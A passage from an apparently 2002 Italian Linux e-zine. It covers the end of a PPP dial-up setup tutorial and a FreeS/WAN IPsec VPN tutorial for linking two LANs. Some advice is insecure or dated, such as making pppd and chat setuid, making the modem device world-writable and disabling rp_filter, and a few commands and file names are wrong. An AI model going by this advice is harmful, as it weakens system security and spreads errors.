| caso non esista, createla ed accedetevi come segue: |
| |
| bash# mkdir /etc/ppp |
| bash# cd /etc/ppp |
| |
| Ora, iniziate a creare i vari files come mi appresto a descrivere. |
| |
| Il primo file da creare e' il file delle opzioni contenente le |
| specifiche che il demone ppp prendera' in considerazione ogni volta che |
| ci connettiamo. |
| Editate quindi il file 'options' con l'editor di testo che preferite; |
| io per comodita' uso pico, quindi: |
| |
| bash# pico /etc/ppp/options |
| |
| Inseriteci dentro, uno per riga, i comandi che seguono: |
| |
| lock |
| defaultroute |
| noipdefault |
| modem |
| /dev/modem |
| 57600 |
| crtscts |
| name "user" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| defaultroute - imposta il routing dei pacchetti come richiesto dal |
| provider |
| noipdefault - quando l'ip non e' fisso, ovvero nel caso di |
| connessioni dial-up che l'ip e' dinamico, ovvero |
| cambia ad ogni connessione |
| /dev/modem - e' il device che usiamo per connetterci |
| 57600 - e' la velocita' di connessione - 57600 = 56.6kb/sec |
| crtscts - e' il protocollo per la connessione a 56k usato di |
| default dei providers |
| name "user" - al posto di 'user' dovete inserire il vostro user-id di |
| connessione |
| |
| Vi chiederete: "E la password di connessione dove la devo mettere?" |
| Niente paura, la password per ragioni di sicurezza e di professionalita' |
| va inserita in un file a parte che e' quello che analizzero' adesso. |
| Sempre nella directory /etc/ppp editate il file 'pap-secrets' come |
| segue: |
| |
| bash# pico /etc/ppp/pap-secrets |
| |
| Inseriteci dentro la seguente linea: |
| |
| "user" * "password" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| L'user non e' altro che l'user-id di connessione che avete inserito |
| anche nel file /etc/ppp/options e la password e' la password di |
| connessione. Questi dati vi sono stati forniti nel momento della |
| registrazione dal provider col quale avete scelto di effettuare la |
| registrazione per la connessione quindi sta a voi esserne a conoscenza. |
| |
| NB: L'acronimo 'pap' sta per Password Authentication Protocol che e' |
| il protocollo utilizzato nella comunicazione, tra il vostro modem e il |
| provider per l'autenticazione dell'utente. |
| |
| Il terzo file da editare, denominato 'chat', e' quello che dice al pppd |
| come deve comportarsi col modem. Editate quindi il file 'ppp-on' come |
| segue: |
| |
| bash# pico /etc/ppp/ppp-on |
| |
| Inseriteci dentro, uno per riga, i comandi che seguono: |
| |
| TIMEOUT 60 |
| ABORT ERROR |
| ABORT BUSY |
| ABORT "NO CARRIER" |
| ABORT "NO DIALTONE" |
| "" "ATZ" |
| OK "ATDTnumero_provider" |
| CONNECT "" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| TIMEOUT 60 - si disconnette in caso di mancata risposta |
| dal modem dopo 60 secondi |
| ABORT ERROR - si disconnette in caso di segnale di errore |
| da parte del provider |
| ABORT BUSY - si disconnette in caso di segnale di busy |
| da parte del provider |
| ABORT "NO CARRIER" - si disconnette in caso di segnale di NC dal |
| provider |
| ABORT "NO DIALTONE" - si disconnette in caso di segnale di ND dal |
| provider |
| "" "ATZ" - ATZ e' il primo comando che viene inviato |
| al modem |
| OK "ATDTnumero_provider" - numero di telefono del provider al quale |
| connettersi |
| CONNECT "" - eventuali comandi da inviare al modem dopo |
| la connessione |
| |
| NB: nella linea di comando 'OK "ATDTnumero_provider"' tra gli acronimi |
| AT e DT vanno inseriti gli eventuali comandi che volete inviare al modem |
| prima della digitazione del numero di telefono del provider. |
| Una buona opzione puo' essere 'L0' nel caso vogliate ridurre al minimo |
| il volume del modem durante la connessione; in questo caso la linea |
| sara': |
| |
| OK "ATL0DTnumero_provider" |
| |
| L'ultimo file da editare in questa directory e' quello che si esegue |
| quando si decide di disconnettersi. Per comodita' chiamatelo 'ppp-off' |
| come segue: |
| |
| bash# pico /etc/ppp/ppp-off |
| |
| Inseriteci dentro le seguenti linee: |
| |
| #!/bin/sh |
| kill -INT `cat /var/run/ppp0.pid` |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| I file da editare in questa directory sono essenzialmente questi |
| quattro. Ce ne possono essere altri quali 'ip-up', con la lista dei |
| comandi da eseguire subito dopo essersi connessi e 'ip-down', con la |
| lista di comandi da eseguire dopo essersi disconnessi. |
| |
| Il lavoro nella directory '/etc/ppp' e' ultimato. Adesso c'e' un altro |
| file da editare ovvero quello che serve per impostare i server DNS |
| -Domain Name Server- del provider. |
| Il file in questione e' /etc/resolv.conf. Editatelo come segue: |
| |
| bash# pico /etc/resolv.conf |
| |
| Inseriteci dentro la seguente linea di comando: |
| |
| search nome_provider |
| nameserver dns_primario_provider |
| nameserver dns_secondario_provider |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| search nome_provider - corrisponde al nome del vostro |
| provider |
| nameserver dns_primario_provider - corrisponde al dns primario del |
| vostro provider |
| nameserver dns_secondario_provider - corrisponde al dns secondario del |
| vostro provider |
| |
| NB: Il nome del provider puo' essere libero.it nel caso abbiate fatto |
| l'abbonamento con Libero-Infostrada; tin.it nel caso abbiate fatto |
| l'abbonamento con Telecom e cosi' via, quindi sta a voi conoscere questo |
| dato anche se non e' indispensabile per il funzionamento. |
| Il dns del provider lo risolvete con un 'ping nome_provider' o con un |
| 'dns nome_provider', sempre da console. |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| ----[ 2.3 - Permessi dei files di configurazione |
| |
| Un punto molto importante riguarda i permessi dei files di |
| configurazione. Primo permesso da settare e' quello del file che |
| contiene la password di connessione, fatelo come segue: |
| |
| bash# chmod 600 /etc/ppp/pap-secrets |
| |
| Bene, lo avete settato leggibile e scrivibile esclusivamente |
| all'amministratore di sistema (root, ovvero voi nel caso). |
| |
| Ora, rendete leggibili ed eseguibili i file ppp-on, ppp-off e options |
| come segue: |
| |
| bash# chmod 755 /etc/ppp/ppp-on |
| bash# chmod 755 /etc/ppp/ppp-off |
| bash# chmod 755 /etc/ppp/options |
| |
| Arrivati a questo punto possiamo dire di essere a meta' dell'opera, ma |
| non e' abbastanza per chi vuole connettersi da shell. |
| |
| ----[ 2.4 - L'utente normale e la connessione |
| |
| E' ora di introdurre l'argomento sicurezza. |
| Cosa intendo per sicurezza? |
| La risposta e' riassumibile (?!?!) cosi': |
| Io ormai non mi loggo piu' da root, mi loggo da utente (user) e riesco a |
| fare tutte le normali operazioni che farei da root (ovviamente dopo aver |
| settato i file di configurazione necessari da root) quindi dovete tenere |
| presente che e' molto importante pensare alla sicurezza ed essendo root, |
| inopportunamente, si possono commettere errori e incasinare la vostra |
| Linux box. |
| Per ovviare a questo problema, basta semplicemente rendere possibile la |
| connessione anche all'user; cio' rendera' il sistema piu' sicuro da noi |
| e noi da lui. |
| |
| La prima cosa da fare e' creare un gruppo di utenti che possano accedere |
| al demone ppp senza, necessariamente, esserne owner (l'owner, |
| possessore, rimane quindi root). |
| Editate il file 'groups' come segue: |
| |
| bash# pico /etc/groups |
| |
| Assicuratevi che non ci sia una riga simile alla seguente quindi |
| aggiungetela voi alla fine del file: |
| |
| pppusers:x:230:user_che_potra_effettuare_la_connessione |
| |
| Logicamente il campo 'user_che_potra_effettuare_la_connessione' e' da |
| cambiare con il nome dell'utente che volete sia abilitato a connettersi. |
| Nel mio caso, mightyinquisitor. |
| Se non avete ancora provveduto a creare un utente fatelo subito (con il |
| comando 'adduser' oppure 'useradd'), come dicevo prima, usare la box |
| sempre da root puo' essere pericoloso. |
| Adesso ci sono ancora alcune cosette da sistemare perche' anche l'utente |
| possa connettersi. |
| Il comando da dare adesso e' quello che cambia il gruppo di appartenenza |
| al device del modem (/dev/ttyS0 se il modem e' sulla porta COM1, come |
| spiegato al punto 2.1). |
| Fate come segue: |
| |
| bash# chown root.pppuser /dev/ttyS0 |
| |
| La stessa operazione va eseguita sui files di configurazione che si |
| trovano in '/etc/ppp' cosi': |
| |
| bash# chown root.pppusers /etc/ppp/ppp-on |
| bash# chown root.pppusers /etc/ppp/ppp-off |
| |
| Ora e' necessario creare due link simboli. Uno al file '/etc/ppp/ppp-on' |
| e uno al file '/etc/ppp/ppp-off' come segue: |
| |
| bash# ln -s /etc/ppp/ppp-on /usr/bin/ppp-on |
| bash# ln -s /etc/ppp/ppp-off /usr/bin/ppp-off |
| |
| E adesso bisogna modificare il gruppo di appartenenza dei links appena |
| creati come segue: |
| |
| bash# chown root.pppusers /usr/bin/ppp-on |
| bash# chown root.pppusers /usr/bin/ppp-off |
| |
| Ora dovete cambiare i permessi al device del modem, fate come segue: |
| |
| bash# chmod 766 /dev/ttyS0 |
| bash# chmod 766 /dev/modem |
| |
| In modo da renderlo leggibile e scrivibile, oltre che dal root, dagli |
| utenti che fanno parte del gruppo pppusers (quelli che avete aggiunto |
| prima con la linea |
| 'pppusers:x:230:user_che_potra_effettuare_la_connessione'). |
| |
| Adesso dovete settare i permessi ad altri due file ovvero |
| '/usr/sbin/pppd' e '/usr/sbin/chat'. Il primo gestisce il demone ppp, il |
| secondo si occupa della gestione degli script per la connessione, ma non |
| solo. Eseguiamo quindi i seguenti comandi: |
| |
| bash# chmod a+s /usr/sbin/pppd |
| bash# chmod a+s /usr/sbin/chat |
| |
| Vi mancano i link di questi due file essenziali. Fateli cosi': |
| |
| bash# ln -s /usr/sbin/pppd /usr/bin |
| bash# ln -s /usr/sbin/chat /usr/bin |
| |
| Adesso l'ultima cosa da fare per poter connettersi e' fare in modo tale |
| che il demone ppp capisca a quali file deve riferirsi per la |
| connessione. Cio' lo si fa come segue: |
| |
| bash# /usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on" |
| |
| Con questo comando il pppd sa gia' di suo che deve prendere in esame il |
| file '/etc/ppp/options' e il file '/etc/ppp/pap-secrets' quindi e' |
| necessario solamente indicargli lo script di comunicazione |
| '/etc/ppp/ppp-on' come e' stato fatto. |
| Se avete seguito alla lettera questo tutorial, con questa ultima linea |
| di comando digitata, sarete in grado di connettervi. |
| |
| ----[ 2.5 - Suggerimento |
| |
| Spostatevi su un'altra shell con la combinazione di tasti 'Alt+Fn' |
| (dove 'Fn' sta per F2, F3, F4, F5 o F6) e loggatevi da user. |
| |
| Per comodita' vi consiglio vivamente di creare nella vostra home |
| directory (di norma /home/vostro_user)il file '.bash_profile' e di |
| aggiungerci dentro due alias che richiamano in automatico il comando per |
| connettersi e quello per disconnettersi, in maniera tale da non dover |
| digitare a mano ogni volta la linea sovra citata per connettervi. |
| Editatelo quindi come segue: |
| |
| bash# pico .bash_profile |
| |
| Inseriteci dentro quanto segue: |
| |
| alias conn='/usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on"' |
| alias disc='/etc/ppp/ppp-off' |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Riloggatevi per rendere effettive le modifiche al file .bash_profile, |
| con il comando 'exit'. |
| |
| Da ora in poi ogni volta che vi loggate come user (quello che ha nella |
| propria home directory il file .bash_profile editato come detto sopra), |
| bastera' che scriviate 'conn' per connettervi e 'disc' per |
| disconnettervi. |
| |
| |
| --[ 3 - Allegato |
| |
| Nel file allegato 'iswt1.tar.gz' trovate i files di configurazione, il |
| .bash_profile e il resolv.conf che ho spiegato nell'arco di questo |
| tutorial. Per decomprimerlo e' sufficiente fare come segue: |
| |
| bash# tar xvzf iswt1.tar.gz |
| |
| Ora date un'occhiata ai files decompressi che si sono creati nella |
| directory iswt1/. |
| |
| |
| MightyInquisitor |
| <mightyinquisitor@ondaquadra.cjb.net> |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| VPN - ViRTUAL PRiVATE NETWORK [goony] 0x0D/0x23 |
+--------------------------------------------------------------------------+
| |
| --------------------------------------------- |
| L'autori non e' responsabili dei danni |
| futuri causati a cose e/o persone utilizzando |
| questo documento... :) |
| --------------------------------------------- |
| |
| Obiettivo: |
| ---------- |
| Capire cos'e' una vpn e realizzare un collegamento criptato tra 2 reti |
| locali. |
| |
| |
| Cassetta degli attrezzi: |
| ------------------------ |
| Noi abbiamo utilizzato questi elementi per raggiungere l'obiettivo. |
| Voi non siete necessariamente legati ad utilizzare questi... |
| |
| - 2 macchine Linux: RedHat 7.1 (www.redhat.com) |
| Trustix Secure Linux 1.5 (www.trustix.net) |
| queste avranno la funzione di gateway, firewall... |
| - kernel linux 2.4.7 (www.kernel.org) |
| quelli di FreeS/WAN consigliano almeno il 2.2.19; |
| - FreeS/WAN 1.91 rilasciata il 2001/06/19 (www.freeswan.org) |
| implementazione opensource del protocollo IPSEC per realizzare |
| vpn con linux. non e' l'unica soluzione (pptp?!) ma a noi |
| ci sembra molto valido ed affidabile; |
| - tcpdump (www.tcpdump.org) bhe lo conoscete... |
| - basi di linux & networking... nel caso leggetevi i riferimenti |
| che trovate alla fine del documento... |
| - fortuna, pazienza! sempre! :) |
| |
| Note: connessioni realizzate tramite vpn risultano naturalmente piu' |
| lenti causa crittazione/decrittazione dei dati in trasito. Sta a voi |
| fornirvi di una buona larghezza di banda.. (adsl?!) |
| |
| Iniziamo con un po' di teoria: |
| ----------------------------- |
| Per prima cosa il termine inglese VPN sta per "Virtual Private Network", |
| ovvero una rete privata virtuale. |
| Una vpn permette di implementare una rete privata utilizzando una rete |
| pubblica, tipicamente internet. |
| Le connessioni tra le varie macchine sono connessioni inesistenti |
| fisicamente, ma sono formate da pacchetti appositamente costruiti che |
| viaggiano su internet. Si parla appunto di "VIRTUAL Private Network". |
| Queste connessioni sono sicure e possono essere realizzate tra: |
| |
| - host to host; (computer di casa e computer in ufficio) |
| - host to lan; (portatile e rete aziendale) |
| - lan to lan; (reti aziendali di due o piu' sedi separate) |
| |
| Qui sotto un semplice schema per chiarire le idee: (lan to lan) |
| |
| --------------- --------------- |
| | rete A | | rete B | |
| | | <---> ( internet ) <---> | | |
| | 192.168.1.0 | | 192.168.2.0 | |
| --------------- --------------- |
| Reggio Emilia Toronto |
| |
| Una volta che le due reti sono state collegate tra di loro tramite vpn, |
| l'utente appartenente alla rete A potra' ad esempio pingare un host della|
| rete B, passando da internet! Non solo pingare, ma anche lavorare in |
| remoto, condividere files e stampanti (samba) e tutto quello che vi |
| passa per la testa, abbiate fantasia. |
| Tramite vpn gli utenti avranno l'impressione di lavorare in una sola |
| grande rete. |
| Possiamo comunque realizzare un collegamento tramite protocollo IPSEC |
| (vedi sotto) anche solo tra due singoli hosts, ad esempio per lo scambio |
| di dati importanti quali logs ecc. |
| Un collegamento in vpn ci permette quindi di ovviare ai problemi di |
| sicurezza di protocolli deboli come il TCP, ad esempio per quanto |
| riguarda "fenomeni" di sniffing, spoofing e simili. |
| |
| |
| La sicurezza... |
| --------------- |
| Per realizzare collegamenti sicuri tramite reti insicure (internet), le |
| vpn possono essere implementate tramite soluzioni software (FreeS/WAN), |
| hardware (CISCO) o entrambe. Si andra' quindi a toccare elementi quali |
| firewall, crittografia, autenticazione e packet tunneling. |
| |
| Note: packet tunneling = permette di incapsulare un pacchetto dentro un |
| altro pacchetto per adattare protocolli |
| incompatibili. Il pacchetto interno puo' essere |
| dello stesso protocollo di quello esterno |
| oppure di protocolli diversi. Con il tunneling |
| si puo' ad esempio incapsulare un pacchetto ip |
| dentro un altro pacchetto ip. I protocolli piu' |
| diffusi per realizzare tunneling sono IpSEC |
| (vedi sotto), PPTP (implementato da Microsoft), |
| Layer 2 FW. |
| |
| Tutti i dati che viaggiano su internet tra le due (o piu' reti) sono |
| quindi criptati con svariati algoritmi per impedirne l'intercettazione e |
| verificarne l'autentici
ta'. |
| Parliamo allora delle 3 caratteristiche fondamentali di una vpn: |
| privatezza, integrita' e autenticazione. |
| |
| 1- privatezza: permette che un pacchetto sia ricevuto e leggibile solo |
| e soltanto al destinatario di esso, rendendo inefficace l'utilizzo di |
| sniffer da parte di utenti smanettoni; |
| |
| 2- integrita': permette che i dati arrivino a destinazione integri e |
| quindi inalterati durante il tragitto; |
| |
| 3- autenticazione: permette di verificare con efficienza l'identita' |
| del mittente, evitando ad esempio fenomeni di spoofing; |
| |
| Per ottenere questi risultati le vpn utilizzano protocolli di rete |
| particolari, tra i quali uno dei piu' rinomati e' sicuramente IPSEC. |
| |
| - IPSEC: "IP Security". E' un set di estensioni al protocollo IP che |
| permettono la criptazione di dati e i particolare i 3 elementi |
| sopra descritti. |
| IPSEC offre un servizio simili all'SSL ma lavorando al livello |
| network, per essere cos'i' totalmente trasparente alle diverse |
| applicazioni. |
| IPSEC si compone principalmente di tre protocolli principali: |
| |
| + AH (rfc2402): "Authentication Header". Permette l'autenticazione |
| di un pacchetto crittografando con un algoritmo forte l'header IP |
| del pacchetto stesso; |
| + ESP (rfc2406): "Encapsulating Security Payload". Permette la |
| privatezza e l'integrita' di un pacchetto cifrando il contenuto di |
| esso (payload = campo dati) con un algoritmo crittografico come |
| DES o 3DES, e firmando il risultato ottenuto con un hash come MD5 |
| o SHA1; |
| + IKE: "Internet Key Exchange". Permette la negoziazione tra i |
| parametri di connessione... |
| |
| |
| struttura pacchetto tcp semplificata |
| |
| ---------------------------------------------------- |
| | 20 byte header ip | 20 byte header tcp | payload | |
| ---------------------------------------------------- |
| |
| struttura pacchetto IPSEC semplificata |
| |
| ---------------------------------------------------- |
| | 20 byte header ip | header AH | payload ESP | |
| ---------------------------------------------------- |
| |
| Questa e' solo una piccola introduzione di concetti molto difficili e |
| lunghi da trattare. |
| Se volete saperne di piu' consiglio vivamente i link che trovate alla |
| fine di questo documento. Per la realizzazione dell'esperienza queste |
| poche righe sono piu' che sufficienti. |
| Piu' avanti comunque sono presenti delle note circa gli algoritmi hash, |
| chiavi pubbliche e chiavi private. |
| |
| |
| Installazione: |
| -------------- |
| Nella nostra esperienza cosa faremo? Partendo dal presupposto che |
| abbiamo gia' pronte e configurate due macchine linux collegate ad |
| internet (entrambi con collegamento perenne) che fungono da gateway per |
| due reti private (esempio la 192.168.1.0 e la 192.168.2.0) andremo a |
| collegarle tra di loro, creando un tunnel criptato tra le due macchine e |
| quindi un canale di comunicazione sicuro tra le due reti. Notare, |
| ovviamente, che le due reti devono avere indirizzi privati diversi. |
| |
| Iniziamo quindi a configurare il primo gateway, tenendo presente che la |
| stessa configurazione, con solo poche modifiche, sara' utilizzata anche |
| per la seconda macchina. Entrambe avranno un kernel 2.2.19 o superiore |
| con il supporto per il networking. Scarichiamo all'indirizzo |
| ftp://ftp.xs4all.nl/pub/crypto/freeswan/ il pacchetto |
| freeswan-1.91.tar.gz. Scegliamo una directory e s'inizia: |
| |
| note: per installare correttamente FreeS/WAN avremo bisogno di... |
| - compilatore C (gcc o egcs) |
| - make, path e le solite cosette... ;) |
| - glibc |
| - GMP (GNU Multi-P recision) library |
| - librerie ncurses se volete usare il menuconfig (raccomandato) |
| - sorgenti ecc... ecc... |
| |
| # cd /usr/src |
| # tar zxvf /usr/local/packages/freeswan-1.9.tar.gz |
| # cd /usr/src/freeswan-1.9 |
| # make ogo (invoca "config" per configurare il kernel da linea di |
| comando) |
| oppure |
| # make menugo (invoca "menuconfig" per configurare il kernel in |
| modalita' text-mode. n.b. installatevi le lib ncurses) |
| oppure |
| # make xgo (invoca "xconfig" per configurare il kernel con X window) |
| # make kinstall (installa il nuovo kernel e i moduli se necessari) |
| |
| |
| L'ultimo comando "kinstall" equivale a fare "make; make install; make |
| modules ; make modules_install" con i sorgenti in /usr/src/linux. |
| A questo punto SE tutto e' andato bene avremo le librerie necessarie in |
| /usr/local, gli script necessari per avviare e disattivare i servizi |
| IPsec in /etc/rc.d e i due file di configurazione /etc/ipsec.conf e |
| /etc/ipsec.secrets. Facciamo un reboot della macchina, non prima di aver |
| sistemato il lilo... |
| |
| note: alcune distribuzioni linux permettono di installare FreeS/WAN |
| durante l'installazione del sistema: |
| |
| - European versions of SuSE Linux (Germany) www.suse.com |
| - Conectiva (Brazil) www.conectiva.com |
| - the server edition of Corel Linux (Canada) www.corel.com |
| - the Polish(ed) Linux Distribution (Poland) www.pld.org.pl |
| - Trustix Secure Linux (Norway) www.trustix.net (veramente carina!) |
| |
| Verifichiamo ora che l'installazione sia avvenuta con successo. |
| Durante il reboot (date un occhio con il dmesg...) controlliamo che: |
| |
| - la versione del kernel sia quella corretta e funzionante; |
| - appaia il messaggio di inizializzazione di KLIPS; |
| - Pluto sia stato avviato correttamente; |
| |
| Oltre a questo usiamo... |
| |
| # ipsec --version cosi' possiamo vedere che il path e' corretto |
| e la versione di IPsec; |
| # ipsec whack --status chiede a Pluto informazione sullo stato del |
| processo |
| |
| Naturalmente le informazioni di debug che riceveremo non saranno |
| ottimali, dobbiamo ancora configurare il tutto! |
| |
| |
| Configuriamo: |
| ------------- |
| Sono due i files di configurazione di IPsec: |
| |
| /etc/ipsec.conf per configurare il tutto con le informazioni relative |
| alla connessione... |
| /etc/ipsec.secretc contiene la chiave pubblica e privata utilizzate per |
| la criptazione dei dati... |
| |
| note: l'algoritmo di cifratura utilizzato e' l'RSA a 2.048 bit, il |
| quale prevede che ogni macchina presente nella vpn possieda una |
| chiave pubblica (nota a tutte le macchine della vpn) e una |
| chiave privata. |
| Queste chiavi sono generate durante l'installazione, ma potete |
| crearle voi stessi a mano per mezzo del comando IPSEC_RSASIGKEY |
| (http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ |
| manpage.d/ipsec_rsasigkey.8.html), |
| ad esempio lanciando: |
| |
| # ipsec rsasigkey --verbose 2048 >mykey |
| |
| che generera' le chiavi e le scrivera' nel file "mykey". A quel punto |
| andate a recuperarle e mettetele nel vostro ipsec.secrets. (seguite le |
| istruzioni sul sito di FreeS/WAN) |
| |
| |
| ipsec.conf: |
| ----------- |
| # basic configuration |
| config setup |
| interfaces="ipsec0=eth0" |
| klipsdebug=none |
| plutodebug=none |
| plutoload=%search |
| plutostart=%search |
| |
| conn %default |
| keyingtries=0 |
| |
| conn reggioe-toronto |
| left=212.*.15.101 |
| leftsubnet=192.168.1.0/24 |
| leftnexthop=212.*.15.1 |
| right=213.*.20.66 |
| rightsubnet=192.168.2.0/24 |
| rightnexthop=213.*.20.65 |
| auto=start |
| authby=rsasig |
| leftid=@firewalle.reggio.net |
| rightid=@fw.toronto.it |
| leftrsasigkey=0x010373f12dd6e1d244895bfc237433bac1c0da... |
| rightrsasigkey=0x01037ff85e024bdbee96a64cfdfa3fb3e1f7a... |
| |
| |
| Da come si puo' notare il file e' diviso in tre sezioni: la prima e la |
| seconda definiscono i parametri di carattere generale. |
| Il piu' importante e' "interface" che definisce tramite quale |
| interfaccia di rete la macchina linux si collega al mondo esterno. |
| In generale tale parametro e' impostato verso l'interfaccia alla quale |
| e' impostato il defaultroute (default gateway) della macchina , "ppp0" |
| in caso di connessione con pppd, "ippp0" in caso di connessione con |
| isdn4linux ecc. |
| La sezione piu' importante e' invece la terza, che definisce le |
| caratteristiche delle due macchine. |
| La "prima" macchina viene identificata come "left", la seconda come |
| "right". |
| |
| Descriviamo nel dettaglio le singole direttive: |
| |
| - conn: assegna un nome alla connessione (tunnel) che vogliamo |
| realizzare; |
| - leftid: nome completo di dominio della prima macchina; |
| - leftrsasigkey: chiave pubblica della prima macchina (prelevabile dal |
| file /etc/ipsec.secrets nel quale e' caricata la |
| variabile pubkey); |
| - left: indirizzo Ip pubblico della prima macchina, ovvero quello |
| assegnato dal provider al momento della connessione e associato |
| all'interfaccia di rete che collega la macchina ad Internet |
| (per esempio, "ppp0"); |
| - leftnexthop: indirizzo Ip del default gateway assegnato dal provider |
| al momento della connessione, ovvero la prima macchina |
| visibile facendo un traceroute verso internet; |
| - auto: definisce il modo in cui la vpn deve essere attivata. |
| Se e' impostato su start l'avvio avviene tramite script |
| (/etc/rc.d/init.d ecc.); |
| |
| Per quanto riguarda la "seconda" macchina (right), le impostazioni sono |
| esattamente le stesse. |
| Fate direttamente un copia incolla tra le due macchine. |
| |
| |
| Prima di provare... e il firewall dove lo mettiamo?! |
| ---------------------------------------------------- |
| Se utilizzate dei firewall per proteggere le vostre reti (ovvio, senno' |
| implementare una vpn su una macchina non protetta e' inutile...), dovete |
| abilitare il passaggio di pacchetti di determinati protocolli (vi |
| ricordate di AH ed ESP?!) su una porta particolare. |
| Leggete qui sotto: |
| |
| - IKE uses the UDP protocol and port 500 |
| - ESP is protocol number 50 |
| - AH is protocol number 51 |
| |
| Nel nostro caso preoccupiamoci della porta 500 UDP e del protocollo 50. |
| A seconda del firewall che utilizzate (ipchains - iptables ecc.), |
| scrivete le rules necessarie. |
| |
| Esempi per chi usa iptables: |
| |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # ESP (50) |
| /usr/local/sbin/iptables -I INPUT -s ipsorgente -d ipdestinazione -p 50 |
| -j ACCEPT |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # UDP e porta 500 |
| /usr/local/sbin/iptables -A INPUT --proto udp --src ipsorgente --dport |
| 500 -j ACCEPT |
| |
| Per la sintassi e informazioni circa iptables date un occhio qui: |
| http://www.linuxguruz.org/iptables/ |
| |
| Esempi per chi usa ipchains: |
| |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # IKE (500 udp) |
| /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 |
| -j ACCEPT -l |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # IKE (500 udp) sull'interfaccia di rete "ipsec0" |
| /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 |
| -i ipsec0 -j ACCEPT -l |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # ESP (50) "-i" per specificare interfacce di rete (ipsec0...) |
| /sbin/ipchains -A input -p 50 -d ipdestinazione -j ACCEPT -l |
| |
| |
| Funzionera'? |
| ----------- |
| A questo punto vediamo se i nostri sforzi saranno premiati. Per prima |
| cosa diamo un occhio ai log. |
| Utilizziamo per questo il comando: #tail -f /var/log/messages. (magari |
| in fase di testing, associamo alle due variabili "klipsdebug" e |
| "plutodebug" in /etc/ipsec.conf il valore "all" cos'i' da poter |
| analizzare piu' logs...) Se poi siamo smanettoni diamo un occhio anche |
| qui: #cat /proc/net/ipsec_tncfg Ora per avviare il tutto utilizzeremo il |
| comando: |
| |
| # ipsec auto --up name |
| |
| su entrambi i gateway. Notare che "name" corrisponde al valore della |
| variabile "conn" in ipsec.conf. |
| Nel nostro caso "linux1-linux2". Per fermare il servizio utilizzeremo |
| invece il comando: |
| |
| # ipsec auto --down name |
| |
| Note: volendo possiamo anche scrivere/utilizzare script del tipo |
| "/etc/rc.d/init.d/ipsec start" ecc. |
| per rendere la cosa piu' veloce ed automatica. Possiamo aggiungere anche |
| una riga di comando in fondo al file "rc.local" per far si' che il |
| servizio IPSEC si attivi in automatico all'avvio del nostro gateway. |
| |
| Note2: in alcuni casi, avviando ipsec, potrebbero apparire alcuni |
| messaggi di errore. |
| Il piu' riscontrato interessa "rp_filter"... per ovviare la cosa |
| in automatico ad ogni riavvio, editate il vostro rc.local con |
| due righe del tipo: |
| |
| echo 0 > /proc/sys/net/ipv4/conf/ipsec0/rp_filter |
| echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter |
| |
| Infine proviamo a vedere se l'obiettivo e' raggiunto. Ad esempio da una |
| macchina della rete 192.168.1.0 proviamo a pingare una macchina della |
| rete 192.168.2.0. |
| (Note: non provate a pingare un host dell'altra rete privata |
| direttamente dal gateway, FreeS/WAN non lo permette, e per spiegazione |
| controllate sul sito...) |
| Se il ping ha successo provate con ssh ecc, abbiate un po' di |
| fantasia... Provate con il "traceroute" da un host all'altro delle due |
| reti: se tutto e' corretto dovreste raggiungerlo con un solo solo hop. |
| In caso contrario controllate: |
| |
| - connessione ad internet dei gateway, attenzione al provider che usate. |
| Ad esempio se vi permette di usare protocolli ecc.; |
| - regole del firewall: |
| per chi usa ipchains: "ipchains -L" |
| per chi usa iptables: "iptables -L" |
| - configurazione dei due ipsec.conf: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ |
| manpage.d/ipsec.conf.5.html; |
| - esattezza della chiavi; |
| - provate a pingare piu' host dell'altra rete; non direttamente dal |
| gateway ne tanto meno verso uno di essi... ma tra due host delle |
| sottoreti; |
| - le macchine in esame sono accese? collegate? hanno firewall? |
| - utilizzate "tcpdump" direttamente sui due gateway per vedere cosa |
| arriva...nel caso fate un bel "man tcpdump" o usate qualche prodotto |
| come "ethereal http://www.ethereal.com/" |
| # tcpdump ( per avviarlo) |
| oppure |
| # tcpdump -i ipsec0 (per avviarlo e con il "-i" controllare una |
| singola interfaccia di rete) |
| oppure |
| # tcpdump -p esp (per avviarlo e con il "-p" controllare un singolo |
| protocollo) |
| - controllate i vari logs!!!!! |
| i soliti /var/log/messages ecc. e utilizzate come riportato piu' in |
| basso il comando "ipsec barf"! |
| - spedire i logs alla mailing list di FreeS/WAN: |
| http://www.freeswan.org/mail.html |
| |
| ATTENZIONE: |
| ----------- |
| Se volete scrivere alla mailing list di FreeS/WAN per ottenere qualche |
| risposta costruttiva, vi consiglio di seguire i consigli riportati qui: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/prob.report In |
| particolare, dare un occhio al comando "ipsec barf" che generera' un |
| file con una valanga di informazioni di debug, utilissime per capire |
| cosa non sta funzionando a dovere. |
| Nel caso invece di veri e propri bug: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/BUGS e scrivete a |
| bugs@lists.freeswan.org |
| |
| |
| 2 LAN: |
| ------ |
| Ci si puo' trovare anche nella situazione di dover connettere tramite |
| vpn piu' reti sullo stesso gateway. Ad esempio nel caso rappresentato |
| qui sotto, vogliamo collegare alla rete A sia la rete B sia la rete C. |
| Dovremo quindi agire sul gateway (firewall compreso naturalmente!) di A |
| e di C. |
| |
| --------------- --------------- |
| | rete A | <---> | rete B | |
